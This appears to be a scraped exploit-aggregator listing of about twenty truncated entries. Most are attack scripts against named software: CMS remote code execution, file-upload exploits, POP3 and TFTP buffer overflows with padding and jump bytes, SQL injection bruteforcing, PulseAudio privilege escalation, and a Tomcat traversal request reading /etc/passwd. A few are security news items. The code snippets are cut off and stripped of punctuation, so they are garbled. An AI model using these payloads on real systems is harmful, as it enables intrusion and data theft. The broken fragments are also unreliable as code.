Jieqi CMS <= 1.5 - Remote Code Execution Exploit

No description provided by source. ?php printr' +---------------------------------------------------------------------------+ Jieqi cms = 1.5 remote code execution exploit by Securitylab.ir mail: [email protected] +---------------------------------------------------------------------------+ '; ...

CubeCart <= 3.0.6 - Remote Command Execution Exploit

No description provided by source. !/usr/bin/perl cijfer-ccxpl - CubeCart =3.0.6 Remote Command Execution Exploit Copyright c 2005 cijfer [email protected] All rights reserved. 1. example cijfer@kalma:/research$ perl ./cijfer-ccxpl.pl -h www.xxx.com -d [email protected] /$ id;uname -a uid=48apache...

Pi3Web 2.0.1 - Denial of Service - Proof of Concept

No description provided by source. / Pi3Web 2.0.1 DoS - Pr00f of concept. Vulnerable systems: Pi3Web 2.0.1 maybe others Vendor: www.johnroy.com/pi3 - http://pi3web.sourceforge.net/ Patch: no yet. Info: Pi3Web Server is vulnerable to a denial of Service. when a malformed HTTP Request is done the...

FlashComs Chat Script File Upload

"@".$options'f'."","fileId" = $options"f"; $result = curlexec$handle; ifstrpos$result,"UPLOADSUCCESS" echo "\n\n"; echo "\t+ Exploitation success!!\n"; echo "\t+ http://$optionsu/files/$optionsf\n"; echo "...

FlashComs Chat 6.5 - Arbitrary File Upload

"@".$options'f'."","fileId" = $options"f"; $result = curlexec$handle; ifstrpos$result,"UPLOADSUCCESS" echo "\n\n"; echo "\t+ Exploitation success!!\n"; echo "\t+ http://$optionsu/files/$optionsf\n";...

Qi Bo cms whole Station system(original PHP168)is configured incorrectly actuating any of the user login-bug warning-the black bar safety net

Qi Bo cms whole Station system of the original PHP168 configured improperly cause any user login, such as the cms administrator. Detail: or because of UCCENTER the problem, before it is too UCKEY variable is empty when you can call UCCENTER in the associated users API directly operates today unde...

MailMax 4.6 - POP3 'USER' Remote Buffer Overflow

!/usr/bin/python MailMax \n" %sys.argv0 sys.exit print "\n! Connecting to %s ..." %sys.argv1 connect to host sock = socketAFINET,SOCKSTREAM sock.connectsys.argv1,intsys.argv2 sock.recv1024 time.sleep5 buffer = "USER " buffer += "A" 1439 padding buffer += "\xEB\x06\x90\x90" Short jmp 6 bytes buffe...

TFTP Server 1.4 - ST 'RRQ' Remote Buffer Overflow

!/usr/bin/python --------------------------------------------------------------------------- Exploit: TFTP SERVER V1.4 ST RRQ Overflow OS: Windows XP PRO SP3 Author: b33f --------------------------------------------------------------------------- Smashing the stack for fun and practise... This tf...

THN December Magazine Released ! Who We are at The Hacker News ?

THN December Magazine Released ! Who We are at The Hacker News ? It is hard to re-cap the past year and all the excitement and hard work we have experienced launching an online magazine. The subject, Hacking, is even more exciting as the technology world awakens to the security issues facing all...

Duqu Analysis and Detection Tool by NSS Labs

Duqu Analysis and Detection Tool by NSS Labs NSS Labs has built a new, free tool that detects known and newly created Duqu drivers that have infiltrated systems, thus allowing security experts to further analyze the "functionality, capabilities and ultimate purpose of DuQu.". The Tool is availabl...

Phoenix Exploit's Kit 2.8 mini version

Phoenix Exploit's Kit 2.8 mini version Back in April of this year, we reported the leak of Phoenix Exploit Kit 2.5. The version currently in circulation is 2.8, and despite its lower activity for the last half of this year, it remains one of the preferred exploit packs used by cyber-criminals. In...

#DEFCON Chennai September 2011 meet - Another Success !

DEFCON Chennai September 2011 meet - Another Success ! DEF-CON Chennai DC602028 Meet held on On 11th September 2011 From 2:30 PM to 7PM was a Great Success. List of Speakers 1 Abhinab 2 Viknesh 3 Ravi Kumar 4 Aditya Gupta 5 Rahul Tyagi 6 Sophan 7 Suman Some Awesome moments of Meet !The Hacker...

SpoonFTP 1.2 Denial Of Service

!/usr/bin/python +Exploit Title: Exploit Denial of Service SpoonFTP 1.2 +Date: 03\18\2011 +Author: C4SS!0 G0M3S +Software Link: http://www.softpedia.com/progDownload/SpoonFTP-Download-49969.html +Version: 1.2 +Tested On: WIN-XP SP3 Portuguese Brazil +CVE: N/A xxx xxx xxxxxxxxxxx xxxxxxxxxxx...

iCMS 1.1 SQL Injection / Bruteforcer

!/usr/bin/python INFORMATION Exploit Title: iCMS v1.1 Admin SQLi/bruteforce Exploit Author: TecR0c Date: 18/3/2011 Software link: http://bit.ly/hbYy35 Tested on: Linux bt Version: v1.1 XXX: The likelihood of this exploit being successful is low as it requires knowledge of the web path and file...

http-form-brute NSE Script

Performs brute force password auditing against http form-based authentication. This script uses the unpwdb and brute libraries to perform password guessing. Any successful guesses are stored in the nmap registry, using the creds library, for other scripts to use. The script automatically attempts...

Apache Tomcat 6.0.18 - utf8 Directory Traversal

Apache Tomcat 6.0.18 - utf8 Directory Traversal /Apache Tomcat include include include include include include include include include include define EXPLOIT "GET /%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd HTTP/1.0\n\n" define RCVBUFSIZE 9999 define tester "root:x" void cls char esc = 27;...

2DayBiz Matrimonial Script - SQL Injection / Cross-Site Scripting

$------------------------------------------------------------------------------------------------------------------- $ 2daybiz Matrimonial Script SQL Injection and Cross Site Scripting Vulnerabilities $ Author : Sangteamtham $ Home : Hcegroup.net $ Download :...

The Story of the First Internet Worm

Robert Tappan Morris was the first person convicted by a jury under the Computer Fraud and Abuse Act of 1986. The story of the worm he created and what happened to him after it was released is a tale of mistakes, infamy, and ultimately the financial and professional success of its author. Read th...

Joomla 1.5.12 TinyBrowser File Upload Code Execution

This module exploits a vulnerability in the TinyMCE/tinybrowser plugin. This plugin is not secured in version 1.5.12 of joomla and allows the upload of files on the remote server. By renaming the uploaded file this vulnerability can be used to upload/execute code on the affected system. Module...

PulseAudio (setuid) Priv. Escalation Exploit (ubu/9.04)(slack/12.2.0)

No description provided by source. PulseAudio setuid Local Privilege Escalation Vulnerability http://www.securityfocus.com/bid/35721 Credit for discovery of bug: Tavis Ormandy, Julien Tinnes and Yorick Koster -- Put files in /tmp/pulseaudio-exp or change config.h. Must be on same fs as the...